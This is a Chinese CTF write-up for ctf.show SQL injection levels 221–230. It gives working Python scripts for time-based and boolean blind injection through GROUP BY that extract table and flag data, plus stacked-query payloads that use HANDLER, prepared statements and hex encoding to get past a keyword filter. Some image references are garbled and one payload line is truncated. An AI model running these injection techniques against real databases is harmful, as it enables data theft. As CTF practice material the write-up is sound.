221 limit注入

  1. 适用于5.0.0<Mysql<5.6.6
  2. selectlimit后面可以跟procedure into两个关键字。
  3. 因为into的写文件需要需要知道绝对路径以及写入shell权限。
  4. 这里我们主要利用procedure
  5. procedure后面可以跟参数 analyse又支持两个参数。

自己也没太搞懂,转载一篇文章limit注入

222 group by 注入

简单学习一下group by
这里我们简单查询一下member表的数据![L2DJ9X}S}R(HJ{GOEY$3{9.png如果我想统计男生的人数该如何查询呢?\
这里我们就用到了group by

  1. GROUP BY 语句根据一个或多个列对结果集进行分组。
  2. 这里我们查询了所有的sex,没查询一个sex 就会进行一次group by判断分组

Y1CCV7C5%)`]L]QEN%0N}S0.png
而且group by 语句是依次执行的4(B18M~S1{@G}}USR1_LKNN.png那么我们在注入的时候就可以利用group by来进行来进行时间盲注
它这里的去重是用username来去重
上做题脚本

  1. import requests
  2. import time
  3. url = "http://280ca7f8-a1a0-45bb-8cf4-0caad9d8f1a8.challenge.ctf.show/api/?u="
  4. payload1 = "1,if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{},sleep(0.1),1)"
  5. flag = ""
  6. for i in range(1,100):
  7. head = 32
  8. tail = 127
  9. while not (abs(head-tail) == 1 or head == tail):
  10. mid = (head + tail) >> 1
  11. payload = url + payload1.format(i,mid)
  12. start_time = time.time()
  13. response = requests.get(payload)
  14. end_time = time.time()
  15. #print(end_time - start_time)
  16. if(end_time - start_time > 2):
  17. head = mid
  18. else:
  19. tail = mid
  20. if tail < head:
  21. tail = head
  22. flag = flag + chr(tail)
  23. print("[*]flag:"+flag)

223 group by 盲注过滤数字

因为过滤了数字所以这里不推荐用时间盲注,如果用时间盲注的话一个true都要等半天
所以这里推荐用bool盲注

  1. import requests
  2. import time
  3. def generate(num):
  4. res = "true"
  5. if num == 1:
  6. return res
  7. else:
  8. for i in range(1,num):
  9. res += '+true'
  10. return res
  11. def get_result():
  12. global flag,payload,url
  13. for i in range(1,100):
  14. head = 32
  15. tail = 127
  16. while not (abs(head-tail) == 1 or head == tail):
  17. mid = (head + tail) >> 1
  18. data = {
  19. "u":payload.format(generate(i),generate(mid))
  20. }
  21. r = requests.get(url=url,params=data)
  22. if "userAUTO" in r.text:
  23. head = mid
  24. else:
  25. tail = mid
  26. if tail < head:
  27. tail = head
  28. flag += chr(tail)
  29. print('[*]flag_result:',flag)
  30. if __name__=="__main__":
  31. url = "http://35570711-1254-46cf-bd4d-3caf6e444248.challenge.ctf.show/api/"
  32. flag = ""
  33. #payload = "if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},true))>{},username,'a')"
  34. #if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),true,true))>true,username,'a')
  35. #payload = "if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database()),{},true))>{},username,'a')"
  36. payload = "if(ascii(substr((Select group_concat(flagasabc) from ctfshow_flagas),{},true))>{},username,'a')"
  37. get_result()

225 堆叠注入 handler句柄和预处理

handeler

  1. 1';show tables;#
  2. 1';show columns from ctfshow_flagasa;#
  3. 1';handler ctfshow_flagasa open;handler ctfshow_flagasa read first;#

预处理

这道题ban了set
不过还是字符拼接绕过

  1. 1';prepare xbx from concat('sele','ct * from ctfshow_flagasa');execute xbx;#

226/228-230 堆叠注入 16进制绕过

重点: mysql可以识别16进制并且自动装换
同上一道题类似
不过这里过滤了更多的东西

  1. if(preg_match('/file|into|dump|union|select|update|delete|alter|drop|create|describe|set|show|\(/i',$username)){
  2. die(json_encode($ret));
  3. }

过滤了左括号就把预处理ban了,还过滤了show 表名也没有办法查
看师傅的题解这里可以用16进制去绕过
burpsuit 进行进制转换
![XU`RGEO_W$FXJ5IA$O90ZP.png
构造payload

  1. 1';prepare xbx from 0x73686f77207461626c65733b;execute xbx;#
  2. 1';prepare xbx from 0x73686f7720636f6c756d6e732066726f6d2063746673685f6f775f666c616761733b;execute xbx;#
  3. 1';prepare xbx from
  4. 1';prepare xbx from 0x73656c65637420666c61676173622066726f6d2063746673685f6f775f666c616761733b23;execute xbx;#

227 mysql的存储过程

MySQL——查看存储过程和函数
直接用SELECT * FROM information_schema.Routines 16进制转码就能得到flag